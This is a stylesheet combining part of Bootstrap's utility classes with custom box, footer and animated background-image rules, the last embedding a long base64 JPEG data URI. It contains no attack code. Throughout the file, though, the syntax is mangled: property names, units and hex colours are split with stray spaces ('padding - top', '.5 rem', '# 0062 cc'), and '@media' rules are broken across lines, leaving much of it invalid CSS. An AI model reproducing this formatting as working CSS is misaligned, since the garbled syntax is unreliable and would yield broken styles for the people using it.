            padding - top: .5 rem!important
        }

    .pr - lg - 2,
        .px - lg - 2 {
            padding - right: .5 rem!important
        }

    .pb - lg - 2,
        .py - lg - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - lg - 2,
        .px - lg - 2 {
            padding - left: .5 rem!important
        }

    .p - lg - 3 {
        padding: 1 rem!important
    }

    .pt - lg - 3,
        .py - lg - 3 {
            padding - top: 1 rem!important
        }

    .pr - lg - 3,
        .px - lg - 3 {
            padding - right: 1 rem!important
        }

    .pb - lg - 3,
        .py - lg - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - lg - 3,
        .px - lg - 3 {
            padding - left: 1 rem!important
        }

    .p - lg - 4 {
        padding: 1.5 rem!important
    }

    .pt - lg - 4,
        .py - lg - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - lg - 4,
        .px - lg - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - lg - 4,
        .py - lg - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - lg - 4,
        .px - lg - 4 {
            padding - left: 1.5 rem!important
        }

    .p - lg - 5 {
        padding: 3 rem!important
    }

    .pt - lg - 5,
        .py - lg - 5 {
            padding - top: 3 rem!important
        }

    .pr - lg - 5,
        .px - lg - 5 {
            padding - right: 3 rem!important
        }

    .pb - lg - 5,
        .py - lg - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - lg - 5,
        .px - lg - 5 {
            padding - left: 3 rem!important
        }

    .m - lg - auto {
        margin: auto!important
    }

    .mt - lg - auto,
        .my - lg - auto {
            margin - top: auto!important
        }

    .mr - lg - auto,
        .mx - lg - auto {
            margin - right: auto!important
        }

    .mb - lg - auto,
        .my - lg - auto {
            margin - bottom: auto!important
        }

    .ml - lg - auto,
        .mx - lg - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 1200 px) {
    .m - xl - 0 {
        margin: 0!important
    }

    .mt - xl - 0,
        .my - xl - 0 {
            margin - top: 0!important
        }

    .mr - xl - 0,
        .mx - xl - 0 {
            margin - right: 0!important
        }

    .mb - xl - 0,
        .my - xl - 0 {
            margin - bottom: 0!important
        }

    .ml - xl - 0,
        .mx - xl - 0 {
            margin - left: 0!important
        }

    .m - xl - 1 {
        margin: .25 rem!important
    }

    .mt - xl - 1,
        .my - xl - 1 {
            margin - top: .25 rem!important
        }

    .mr - xl - 1,
        .mx - xl - 1 {
            margin - right: .25 rem!important
        }

    .mb - xl - 1,
        .my - xl - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - xl - 1,
        .mx - xl - 1 {
            margin - left: .25 rem!important
        }

    .m - xl - 2 {
        margin: .5 rem!important
    }

    .mt - xl - 2,
        .my - xl - 2 {
            margin - top: .5 rem!important
        }

    .mr - xl - 2,
        .mx - xl - 2 {
            margin - right: .5 rem!important
        }

    .mb - xl - 2,
        .my - xl - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - xl - 2,
        .mx - xl - 2 {
            margin - left: .5 rem!important
        }

    .m - xl - 3 {
        margin: 1 rem!important
    }

    .mt - xl - 3,
        .my - xl - 3 {
            margin - top: 1 rem!important
        }

    .mr - xl - 3,
        .mx - xl - 3 {
            margin - right: 1 rem!important
        }

    .mb - xl - 3,
        .my - xl - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - xl - 3,
        .mx - xl - 3 {
            margin - left: 1 rem!important
        }

    .m - xl - 4 {
        margin: 1.5 rem!important
    }

    .mt - xl - 4,
        .my - xl - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - xl - 4,
        .mx - xl - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - xl - 4,
        .my - xl - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - xl - 4,
        .mx - xl - 4 {
            margin - left: 1.5 rem!important
        }

    .m - xl - 5 {
        margin: 3 rem!important
    }

    .mt - xl - 5,
        .my - xl - 5 {
            margin - top: 3 rem!important
        }

    .mr - xl - 5,
        .mx - xl - 5 {
            margin - right: 3 rem!important
        }

    .mb - xl - 5,
        .my - xl - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - xl - 5,
        .mx - xl - 5 {
            margin - left: 3 rem!important
        }

    .p - xl - 0 {
        padding: 0!important
    }

    .pt - xl - 0,
        .py - xl - 0 {
            padding - top: 0!important
        }

    .pr - xl - 0,
        .px - xl - 0 {
            padding - right: 0!important
        }

    .pb - xl - 0,
        .py - xl - 0 {
            padding - bottom: 0!important
        }

    .pl - xl - 0,
        .px - xl - 0 {
            padding - left: 0!important
        }

    .p - xl - 1 {
        padding: .25 rem!important
    }

    .pt - xl - 1,
        .py - xl - 1 {
            padding - top: .25 rem!important
        }

    .pr - xl - 1,
        .px - xl - 1 {
            padding - right: .25 rem!important
        }

    .pb - xl - 1,
        .py - xl - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - xl - 1,
        .px - xl - 1 {
            padding - left: .25 rem!important
        }

    .p - xl - 2 {
        padding: .5 rem!important
    }

    .pt - xl - 2,
        .py - xl - 2 {
            padding - top: .5 rem!important
        }

    .pr - xl - 2,
        .px - xl - 2 {
            padding - right: .5 rem!important
        }

    .pb - xl - 2,
        .py - xl - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - xl - 2,
        .px - xl - 2 {
            padding - left: .5 rem!important
        }

    .p - xl - 3 {
        padding: 1 rem!important
    }

    .pt - xl - 3,
        .py - xl - 3 {
            padding - top: 1 rem!important
        }

    .pr - xl - 3,
        .px - xl - 3 {
            padding - right: 1 rem!important
        }

    .pb - xl - 3,
        .py - xl - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - xl - 3,
        .px - xl - 3 {
            padding - left: 1 rem!important
        }

    .p - xl - 4 {
        padding: 1.5 rem!important
    }

    .pt - xl - 4,
        .py - xl - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - xl - 4,
        .px - xl - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - xl - 4,
        .py - xl - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - xl - 4,
        .px - xl - 4 {
            padding - left: 1.5 rem!important
        }

    .p - xl - 5 {
        padding: 3 rem!important
    }

    .pt - xl - 5,
        .py - xl - 5 {
            padding - top: 3 rem!important
        }

    .pr - xl - 5,
        .px - xl - 5 {
            padding - right: 3 rem!important
        }

    .pb - xl - 5,
        .py - xl - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - xl - 5,
        .px - xl - 5 {
            padding - left: 3 rem!important
        }

    .m - xl - auto {
        margin: auto!important
    }

    .mt - xl - auto,
        .my - xl - auto {
            margin - top: auto!important
        }

    .mr - xl - auto,
        .mx - xl - auto {
            margin - right: auto!important
        }

    .mb - xl - auto,
        .my - xl - auto {
            margin - bottom: auto!important
        }

    .ml - xl - auto,
        .mx - xl - auto {
            margin - left: auto!important
        }
}

.text - justify {
    text - align: justify!important
}

.text - nowrap {
    white - space: nowrap!important
}

.text - truncate {
    overflow: hidden;
    text - overflow: ellipsis;
    white - space: nowrap
}

.text - left {
    text - align: left!important
}

.text - right {
    text - align: right!important
}

.text - center {
    text - align: center!important
}

@
media(min - width: 576 px) {
    .text - sm - left {
        text - align: left!important
    }

    .text - sm - right {
        text - align: right!important
    }

    .text - sm - center {
        text - align: center!important
    }
}

@
media(min - width: 768 px) {
    .text - md - left {
        text - align: left!important
    }

    .text - md - right {
        text - align: right!important
    }

    .text - md - center {
        text - align: center!important
    }
}

@
media(min - width: 992 px) {
    .text - lg - left {
        text - align: left!important
    }

    .text - lg - right {
        text - align: right!important
    }

    .text - lg - center {
        text - align: center!important
    }
}

@
media(min - width: 1200 px) {
    .text - xl - left {
        text - align: left!important
    }

    .text - xl - right {
        text - align: right!important
    }

    .text - xl - center {
        text - align: center!important
    }
}

.text - lowercase {
    text - transform: lowercase!important
}

.text - uppercase {
    text - transform: uppercase!important
}

.text - capitalize {
    text - transform: capitalize!important
}

.font - weight - light {
    font - weight: 300!important
}

.font - weight - normal {
    font - weight: 400!important
}

.font - weight - bold {
    font - weight: 700!important
}

.font - italic {
    font - style: italic!important
}

.text - white {
    color: # fff!important
}

.text - primary {
    color: #007bff !important
    }

    a.text-primary:focus,
    a.text-primary:hover {
        color: # 0062 cc!important
}

.text - secondary {
    color: #6c757d !important
    }

    a.text-secondary:focus,
    a.text-secondary:hover {
        color: # 545 b62!important
}

.text - success {
    color: #28a745 !important
    }

    a.text-success:focus,
    a.text-success:hover {
        color: # 1e7 e34!important
}

.text - info {
    color: #17a2b8 !important
    }

    a.text-info:focus,
    a.text-info:hover {
        color: # 117 a8b!important
}

.text - warning {
    color: # ffc107!important
}

a.text - warning: focus,
    a.text - warning: hover {
        color: # d39e00!important
    }

.text - danger {
    color: # dc3545!important
}

a.text - danger: focus,
    a.text - danger: hover {
        color: # bd2130!important
    }

.text - light {
    color: # f8f9fa!important
}

a.text - light: focus,
    a.text - light: hover {
        color: # dae0e5!important
    }

.text - dark {
    color: #343a40 !important
    }

    a.text-dark:focus,
    a.text-dark:hover {
        color: # 1 d2124!important
}

.text - muted {
    color: #6c757d !important
    }

    .text-hide {
        font: 0/0 a;
        color: transparent;
        text-shadow: none;
        background-color: transparent;
        border: 0
    }

    .visible {
        visibility: visible !important
    }

    .invisible {
        visibility: hidden !important
    }

    @media print {

        *,
        ::after,
        ::before {
            text-shadow: none !important;
            box-shadow: none !important
        }

        a:not(.btn) {
            text-decoration: underline
        }

        abbr[title]::after {
            content: " ("attr(title) ")"
        }

        pre {
            white-space: pre-wrap !important
        }

        blockquote,
        pre {
            border: 1px solid # 999;
    page -
    break -inside: avoid
}

thead {
    display: table - header - group
}

img,
tr {
    page -
        break -inside: avoid
}

h2,
h3,
p {
    orphans: 3;
    widows: 3
}

h2,
h3 {
    page -
        break -after: avoid
}

@
page {
    size: a3
}

body {
    min - width: 992 px!important
}

.container {
    min - width: 992 px!important
}

.navbar {
    display: none
}

.badge {
    border: 1 px solid #000
        }

        .table {
            border-collapse: collapse !important
        }

        .table td,
        .table th {
            background-color: # fff!important
}

.table - bordered td,
    .table - bordered th {
        border: 1 px solid # ddd!important
    }
}

/*# sourceMappingURL=bootstrap.min.css.map */


textarea: hover,
    input: hover,
    textarea: active,
    input: active,
    textarea: focus,
    input: focus,
    button: focus,
    button: active,
    button: hover,
    label: focus,
    .btn: active,
    .btn.active {
        outline: 0 px!important; - webkit - appearance: none;
        box - shadow: none!important;
    }

.box {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - top: 20 px;

    margin - bottom: 28 px;
    background - color: white;
    overflow - x: hidden;

}

.boxtext {
    z - index: 0 px;
    transform: translateX(+200 px);
    animation: myAnim 300 ms ease - in 0 s 1 normal forwards;
}

@
keyframes myAnim {
    0 % {
        transform: translateX(-200);
    }

    100 % {
        transform: translateX(0 px);
    }
}

@
keyframes bgmyAnim {
    0 % {
        opacity: 0;
    }

    100 % {
        opacity: 1;
    }
}

.box2 {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 8 px 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - bottom: 28 px;
    background - color: white;
}

# footer {
    position: fixed;
    bottom: 0 px;
    width: 100 % ;
    overflow: visible;
    z - index: 99;
    clear: both;
    background - color: #000;
        background-color: rgba(0, 0, 0, 0.6);
    }

    /*.footerNode span {
    color: # fff;
    font - size: 0.75 rem;
    line - height: 28 px;
    white - space: nowrap;
    display: inline - block;
    float: right;
    margin - left: 8 px;
    margin - right: 8 px;
} * /
div.footerNode a,
    div.footerNode span {
        color: # fff;
        font - size: 0.75 rem;
        line - height: 28 px;
        white - space: nowrap;
        display: inline - block;
        float: right;
        margin - left: 8 px;
        margin - right: 8 px;
    }


.bgimg {
    animation: bgmyAnim 1 s cubic - bezier(0.11, 0, 0.5, 0) 0 s 1 normal forwards;
    position: absolute;
    height: 100 % ;
    width: 100 % ;
    top: 0 px;
    background - size: cover;
    background - repeat: no - repeat;
    background - image: url("data:image/jpeg;base64,/9j/4QlQaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjYtYzE0MiA3OS4xNjA5MjQsIDIwMTcvMDcvMTMtMDE6MDY6MzkgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiLz4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3hwYWNrZXQgZW5kPSJ3Ij8+/+0ALFBob3Rvc2hvcCAzLjAAOEJJTQQlAAAAAAAQ1B2M2Y8AsgTpgAmY7PhCfv/bAIQACAYGBgYGCAYGCAwIBwgMDgoICAoOEA0NDg0NEBEMDg0NDgwRDxITFBMSDxgYGhoYGCMiIiIjJycnJycnJycnJwEJCAgJCgkLCQkLDgsNCw4RDg4ODhETDQ0ODQ0TGBEPDw8PERgWFxQUFBcWGhoYGBoaISEgISEnJycnJycnJycn/90ABAB4/+4ADkFkb2JlAGTAAAAAAf/AABEIBDgHgAMAIgABEQECEQH/xABVAAEBAQEAAAAAAAAAAAAAAAAAAQcCAQEBAQEAAAAAAAAAAAAAAAAAAQIDEAEBAQEBAAAAAAAAAAAAAAAAEQFBIREBAQAAAAAAAAAAAAAAAAAAABH/2gAMAwAAARECEQA/ANtAYdgAAAAQQAAAQFQAAAAQFQUEUBQAAAAAAAAAAQoKJUBSoAtEAWlQEUQBRAFQAUQBRFAAAAAAVAAAAABBRAFBFFEBFEUBUAUSrQAoIAAAAoAAAgAAAAAAAAAoAAAAFAAAARRARQUQBRKqAFBAKAAAAAAKAAIKggAAqAAAKIAqAAUBBUAAABFABEFAAAAAVBFAEUBAEAAEAAoCgAgAAACAAAICiAKIAogCiUAAAAAAQAAAFBUAWiAKIAoigAAAAAAAAAAogCiKAAAAAqAKIoAAAAAAAAAAAAKIqqAAAA//0NtAYdgABAQAABAAAAAAQAUBQAAAAAAQBRCoKiUUWoAAAAAAAAAAAAAKAAigiCoAACiKAAAAAAAAqACAACgKCKgAAigAAAAAAAKgCqgIogCiAKIoAAgAAAAAoAAAAIoCACAKAAAAAICKVFAKgC0QBarlQUTAFQoIAAAAAAAAAAACAAAACKAgAACAAAAAAqAAACAAAACAAAAIoCAAAAACAigAAAAgqIgAKVUAUQEUQBRAFEUAKUAAUAUAAFQBRAFAAAAAAAAVAFEUAAAABUAURQAAAAAAAAAAFQFUBR//0dtBGHZUBAAAQAAAAQAFAAFAABAFQEAqUAoAACgAAAgAAAAAFAAAAAAAAAAAAAAAARQFAAAAAAAAQAAVFUAAAAABAAAAAAAFEAAAAAAAAAAABFAAAAEAUBQAAAEAAAAAAABBFAEUBBUAAAAAAAUAAAAQRRAFEAFQAVAQVAAAAAABACgAAACoAAAAAIIKgAACKCCAAAAAAACAAAAKgAAgACAAAAAAAAAAAAAAAAC1AVRBRQAAAUQBRAFAAAAABRAFAAAAABRAFAAAAAAAAAAVAV//0tsAc3YAAQAAABAAFAAFAQFQEASgFAAAUAQFEEFEAUAAAAAAAAAAAAAAAAAAAAAAAFAEAFAAAAAAFAERQUAAAAABAAAAAABUAUAQAAAAAAAAUBAAAAEFQAFBFRRAAABQAAAAAAAEAAAAEUAAAAAAAAAABABAAAAAAQAAABAAAAAAAAAAAEQBAUQBaIAogCpRAURRAKUAAAABFQABAAUARBRFAEBFAAAAAAAAAAAAAAAAAAABRAFEFVRFoKgAoICgAAAAAKgCiKAAAqAKIoAAAAAAAAP/09sAc3YQAAAEABQFAAQVAAKgIAAIoogAAgACgAAAAACoAo5AWlQBaVARaIApUAUQUUqALQECgKLSoAtEEHVHKiKIKKJQFABRFEAAAFAAAAQAAAAAAAAAEAFFpXIg6EFFVzVQUSgiiKAIoCKAAKACIAKAAAAAAAAAAgAAAAAAAAAACCCoAKgAAAAAAAAICKACAAAAAAAAAAAAIgAAgAAAAAACIKgAAAAAAAAAAAICiCAKCIAAAAAAAAAAqACoAogCgAAAAAKgCiAAoCKAoqFUUAAAAAAAAUAAAAAAAVAFAAAAAB//1NsAYdhAQEAAFAAFAQAEAAABAVAAARQAABABAUQUAAAAAAAAABAAAAAAABRQAAAAAAAABAAAABUUFEUQAAAUUQBRFEAAAAAAAAAAAFRAAFRQABAABagAtQBSoAoVBHQlAURQASgoAAAAAACIAAAAAKAAAACKggAAAAAAAIAAIoCCgIKIIKAgqCAAAAAACKAIqACoAAAAIAAAAgqAAAAAAAAAIoCAAIoCKggohRFEq0AKAAAAAAAACgAgqAqgAAAAAKgCiKAAAAoKigAAAAKgCiKAAAAAAAACiKAAD//V2xFRh2EBAAAVFFAQFSoAAAAgACAAKAIAACAoAAAAAAAAAAAAAAAAAAAAAAKgqKAAAAAAAIAAAAKigKgIoAACgAAAiCoKKIAogCiKAAAAqCKAAAACAAAAAAAAAAgqACoAqACiAKIoAAKICKJSgohQUQBRAFEAVFQRUAAFBAAABAAAAAQBRAFEAFQBRBEAABBRRBBRAFQAAABAFEBFQBRUBAAAKAAAAAIoCAAAICKAgoIgAAAAAAAAAq0qAiq5WgogAKgAAKICqAAAoogCiKAAAqAKAAAAACiAKAAAAAAACiAP/9bawGHZAEBUUAAUTSoAAACAAIAAoAgCCgAAAAAgAAAgKAAAAAAAoAAAAgqAAAoigKiiCKAgCoogCgAAAKigKiiAAACgAAAiAAAAACgAIAAAAAKKIAoAgAAAAAAAAAIAAAAAAAKAKiIoAgqKAAAAAAKlBAVAQABUAFpUAUQAAAAAAAAAAEAAAAEUBBUAFQAAAAQAAAAAQQVAAAAAAAQVBAABagBSoILRAFEpQUSlBQBEFAQVAAAAAABQAAAAAFogI6EoCiAKAAAKAKAAKIAoAAACoAoAAAAAKAAAAAAAD//X2sBh2EBBQBRKIAAAACAIAAoAAgAAAAIAAAICoAoAAAAACiAKICKIqgAAACCoAACgCKAAiooACKAAAAACiAKqAiiCigAAIgAAAAAoACAAAAACgAAqAgqAKIAoAAAAAgAAAAAoAAKiiAACKgAAAAAAAAAAgAgAAAAAKACAAAAAAAAAAIAAAgKgAACAAAIgogCoACoAAAACAAAAAAIAgAAIqAAAAAIoIKiAtVyUHQ5WgolAURQEUAABBQEFAQUBAUVFQBRFBRFEAAABQBQABRAFAAVAFEUFQUEUAAAAAAAf/9DawRh2FRUBFTRUAEABRFRAAAAFEAAAAAABAQBQAAEBRKgLSoAtKgClQB0ICKIAogCqgoolAAAUAFAEAFEAEUAAAAAAAABQAEVXKgoiogAAAAAoACAAACgAAAIAAAAAAAAoAAAgAAAoAAAoIoCAAAAIAAAAACiKIIAKCAoICoAAAgAgAAAAAAAAAAIoCAAAIAAgAoIoggAAAAAAAgAAAAAAACCogAAAAgqCAAAAAAIAAAAAAUAWlQB0OVoKJVAAAAFAAAAAAAAUQBRFAAAAAAUFQBRFAABRFBRAFAAAFAAf/9HagHN2UEA1DQAAUAARRBAAAQUAAAAAARUQABQE0CoAAAAAAAAACouAACAAAACoKKIAqoAqoCKCAAKigAAAAAAAAKAACoCKAiAAACiiKIAgKAAAoAAACAAAAAAAAKAAAqAAAAACAoAACAACKgACgAiKgAqAAAAAAAAAAAAAqAAACAAAAAAAAAioAAAAIAAAICKAgAAAAAIoggqACoAAAAAJQQKqAKJSiKhSgAgKAAAAigIKAgAAAAAotQBarkB0OVoKIoAAAAAAAAAAKIoAAAAACgACiKAAAqKCiKAAAAD/0tqAc3ZU0SgAKACKAIAACCAAAACgAACCACgJoCAAAAAAKgoAAAIAAqoCAAAAACgAAqKAqKIAACKqKIAoigAAAAAKAACoogAiACgAAAIAAogoogCgAACAAAAAACooACoAAAAAAKioAAAAgAAioAKAgoIgoCAAAAAAAAAAAAACACgAAAgAAAAAAgCAAIAAAKACAAAigIKgAAAAiCoAAAAAAAAggqAIoCAAAAFAQABRAFEUAABFAQUBBQEFAQUBFqAOhCiqAAAAAAAAogKAACggACooACgAAqKAABVQBQAf/9PalEc3Y1AUAAAEUAQATQNQFABAAAEUUABBURTXK6gAAAAAAoAAAAAAAIoAgAAAAAoAAKAKAIIqAAKgACiKBVQBQFAAAAQVFAARABQAAAEAFAAAABUAURQBFABBFAAUFQAAAAAAAQFAAAQAAAAAAAAAAAEEAAAAAAAAAAAQAAAAAAAAAAAAAQAAQUEQVAAAAQFQ0BRKaAIAtQAUQAAEAQFEAUQAAQAAAAQAQAFAAAAAAAAAEFEFRRFAAAAAAAAFAACgCiKAAAACiKAAoKggoigAAACgAAAKIqoAAoiiv//U2tNEc3YAUAEAAUAQE3VcgAKACACCgAKAAgIIiiiAIoAAAAAKigAAAqKIACAAACgAAACgAoAgioAAqAAAACooKAqAAAACoAoAgAAAAAqAAAAAAAAAAAACgIAAKAAiiAgoogCqggoAAgIAAogCggKIAAAqAAAIAAAAAAAAACACgAgAAAAAAAAAACUQUQogVBQVAABAABBUAAAAAAAAQAFRBUAAAAQAAAABAQAQEUFQVAFQUURQAAAEAABUBFEVQAAAAAAAFAAWq5UAUBAAFQBQFAAFEVAAAAFAAAAUBUAAf//V2pAYdgAABAAFAEE1AUAAAAEVEUABRFAQAQBARRRBURQAAAUAABRAEEUAAAABQAAVFAVFEAQABUAAAAAAUAFAVAABAAXEBFVyoKAAAIAKAAAAAAAAAAAKAAIqKgKAAgCACgAAoCAAAAAAAAAAAAAAIoAAIgKgAAAAAAAAAAgAAAAAAVABUAKACCoAAIAAAAAIAAAAIKgAAAAACAAIgAAAAAAAIKgCKgLgggohRFCgoigIKgAAFABRFAAAABRARRFUAAAAABQACqgDoAAAAAABQKCCiKAAAAAKiqAAoAP/1tpAYdgAABAAQEVNVUAAAABAVFEVAAAAEVAAEAAAAAAAAAEAAAAAAUUAAAAABQBQQRUAQAUAAAAFRQFBUAAAQAAQAAVBRQAUBEAFAAAAAAAAFABFBQBUQAABAAFQAAFBAAAAAAAAAAAAAAAAAFQRQEAAAQBQARQBFAQAQKgAAAAAAAAAAAAAAiACiKGggCAgAAAAAACAAACAACAoIAAAAAACAqCgkRRBAAAAAAUQoKACCgIACiAKAAAAACiKqAAAAoAAACq5AdCVQAAAAAFAAFAQAAURQEUVQAH/19pAYdgAABAAAQBUAAAAQAAAVFEVBUARUAAAAAAQAAAAEUBAFAABUAVAAAEURQVUAABABQAAAABQAVQAEAQAAQAAAUFRQAEFAEAAAFARQAAFQBRBRQBBUVAABAFQVABQEAAAAAAAAAAAAAAAAAEFAEAQFBAVABUAARQKIAAAACAAAAAAAAAAAoggGiCAoAIAAoAIgAAAAAAIIogigAAAgioAAAAAAAAgAAIAAAAAAAAAKIAqLQEFQAAFEUAAAAFoi1UAUEAFAAAAFxAHQAAAAAACgACgIACigoIAK//Q2kBh2AAAEAAEAARQVAAQVAAAAAVAFEVEAAAAAAAAAAAEAAAAEAAAAFABUAUAABUAAAAAAUBQUBAABAAAEAFAABQAUEQAAAUEVAABBUAUQBQFFEVAVAFEVUEAAUAAEAAAAAABAFEAUEBQAAEAAAAQABUAAABFQAAAAAAAAAAQAAFAAABBBU0AQBUAAAEUAAABABAEBRAAAABAAAAAAEQAAAAAABAABBUAAAAAAAAAAAAAVFARQEABRFAAUAAVXKgoAIKAgoCCgpTABQBAAAFBAFFEAdAIoAqKgoP/0dpAYdQAUAABAAEUAARUEAAEUBABRFQABFAAAAAAAAAAEAAAQAABQRQABQRQUABAAAAAQUUABQoiiAAAAAgAoAAAoACCgCACggAACAAAAAACoqgACoKAUqAogIqoAqAIAAKgAAAAAAAACiKAAiAAAAAAAAAACKAgAAAAACooiCgAAAFAQAAAEUBAAABABAAFEAAAQRQEAAAAAAAQAQFQBABARQEUQFEAVAEABVEAAUEFQAAAAAAAAFDAQRQVFAAAABQVAFxUUABAAAAFAFFEWiAAAAKAogoCiAqgICoKP//S2oBh1QUBBQERUFAAAAEVEAAAAAABFQEFBUFAQUCoqAVUFFQVEQABFAAFBBQABQAAAEAABAFQFBUUQAAAAABRFAAVAAAAFAAUEQAUBAAAQAAAAAABVAAAAAAAAAFEAAABAAAAAAAAAAAABQEAAAAAEABQAQAAAAAAQUBBUBQBAQAAAAAAAAAAARQEFQQFRARQVAAABAAAAEFQABABAAAAEAAQAAABBUEAAAAEUAAFURQQUBBQEFQAAAAFEUAAQAFFAABQAFUBEAAABQUBBRQBQQUERQAAVQAFAQAAf//T2oBh1AAAARFQAAUAARQEFRAAAAARUAAAAAAAAAAAAAAFAAAAABAAAEBRAFQFAAAFEAAAAAAAFBQRAAABQABRFBRFEBAAAQAAAAAAAUFAAAAAAAAARQAAAABAAAAAAAAAABQAAEAAAAAAAAAAAAAAAEAEABRBFQAAAAAAAAAAABABAFxFUEBEABQAEFBEFQAABFQABEEVAABQBAAAAEAQFQAABAAAABFARRAdCKKAAIoCKACKAi4IDoRQAAAAURQQVBRcQBQAAAURQAACgooiiAAAAoAAqKAAD//U2oBh1AAAAcgAAAAAAAACgACKgCKiAAAAAAAAAAAAAAAIAogCiAKgKAAAAAAgoAAAAAAAAKCgIAIACoAAAALiAKIAoAgAAAAAoAAKigAAAAAAAAKAgAAAIAAAAAAA